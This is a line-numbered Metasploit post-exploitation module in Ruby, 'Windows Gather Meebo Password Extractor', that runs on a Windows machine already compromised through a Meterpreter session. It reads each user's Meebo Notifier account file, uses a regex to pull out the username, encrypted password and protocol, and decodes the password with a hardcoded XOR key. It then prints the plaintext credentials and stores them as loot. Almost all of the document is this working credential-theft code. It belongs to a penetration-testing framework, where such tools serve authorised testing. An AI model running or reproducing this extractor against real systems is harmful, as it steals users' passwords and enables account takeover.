Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Auxiliary::Report
8
  include Msf::Post::Windows::UserProfiles
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Windows Gather Meebo Password Extractor',
15
        'Description' => %q{
16
          This module extracts login account password stored by
17
          Meebo Notifier, a desktop version of Meebo's Online Messenger.
18
        },
19
        'License' => MSF_LICENSE,
20
        'Author' => [
21
          'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
22
          'Unknown', # SecurityXploded Team, www.SecurityXploded.com
23
        ],
24
        'Platform' => [ 'win' ],
25
        'SessionTypes' => [ 'meterpreter' ],
26
        'Compat' => {
27
          'Meterpreter' => {
28
            'Commands' => %w[
29
              core_channel_eof
30
              core_channel_open
31
              core_channel_read
32
              core_channel_write
33
              stdapi_fs_stat
34
            ]
35
          }
36
        }
37
      )
38
    )
39
  end
40

41
  def run
42
    grab_user_profiles.each do |user|
43
      accounts = user['AppData'] + '\\Meebo\\MeeboAccounts.txt'
44
      next if user['AppData'].nil?
45
      next if accounts.empty?
46

47
      stat = begin
48
        session.fs.file.stat(accounts)
49
      rescue StandardError
50
        nil
51
      end
52
      next if stat.nil?
53

54
      parse_txt(accounts)
55
    end
56
  end
57

58
  def parse_txt(file)
59
    creds = Rex::Text::Table.new(
60
      'Header' => 'Meebo Instant Messenger Credentials',
61
      'Indent'	=> 1,
62
      'Columns' =>
63
      [
64
        'User',
65
        'Password',
66
        'Protocol'
67
      ]
68
    )
69

70
    config = client.fs.file.new(file, 'r')
71
    parse = config.read
72

73
    if (parse =~ /"password.{5}(.*)",\s*"protocol.{4}(\d),\s*"username.{5}(.*)"/)
74
      epass = ::Regexp.last_match(1)
75
      protocol = ::Regexp.last_match(2).to_i
76
      username = ::Regexp.last_match(3)
77
    else
78
      print_error('Regex failed...')
79
      return
80
    end
81

82
    protocol = 'Meebo' if protocol == 0
83
    protocol = 'AIM' if protocol == 1
84
    protocol = 'Yahoo IM' if protocol == 2
85
    protocol = 'Windows Live' if protocol == 3
86
    protocol = 'Google Talk' if protocol == 4
87
    protocol = 'ICQ' if protocol == 5
88
    protocol = 'Jabber' if protocol == 6
89
    protocol = 'Myspace IM' if protocol == 7
90

91
    passwd = decrypt(epass)
92
    print_good("*** Protocol: #{protocol}  User: #{username}  Password: #{passwd}  ***")
93
    creds << [username, passwd, protocol]
94
    config.close
95

96
    if passwd.nil? || username.nil?
97
      print_status('Meebo credentials have not been found')
98
    else
99
      print_status('Storing data...')
100
      path = store_loot(
101
        'meebo.user.creds',
102
        'text/csv',
103
        session,
104
        creds.to_csv,
105
        'meebo_user_creds.csv',
106
        'Meebo Notifier User Credentials'
107
      )
108
      print_good("Meebo Notifier user credentials saved in: #{path}")
109
    end
110
  rescue ::Exception => e
111
    print_error("An error has occurred: #{e}")
112
  end
113

114
  def decrypt(epass)
115
    magicarr = [
116
      4, 240, 122, 53, 65, 19, 163, 124, 109,
117
      73, 187, 3, 34, 93, 15, 138, 11, 153, 148, 147, 146,
118
      222, 129, 160, 199, 104, 240, 43, 89, 105, 204, 236,
119
      253, 168, 96, 48, 158, 143, 173, 60, 215, 104, 112,
120
      149, 15, 114, 107, 4, 92, 149, 48, 177, 42, 133, 124,
121
      152, 63, 137, 2, 40, 84, 131
122
    ]
123

124
    plaintext = [epass].pack('H*').unpack('C*')
125

126
    for i in 0..plaintext.length - 1 do
127
      plaintext[i] ^= magicarr[i]
128
    end
129

130
    return plaintext.pack('C*')
131
  end
132
end
133

134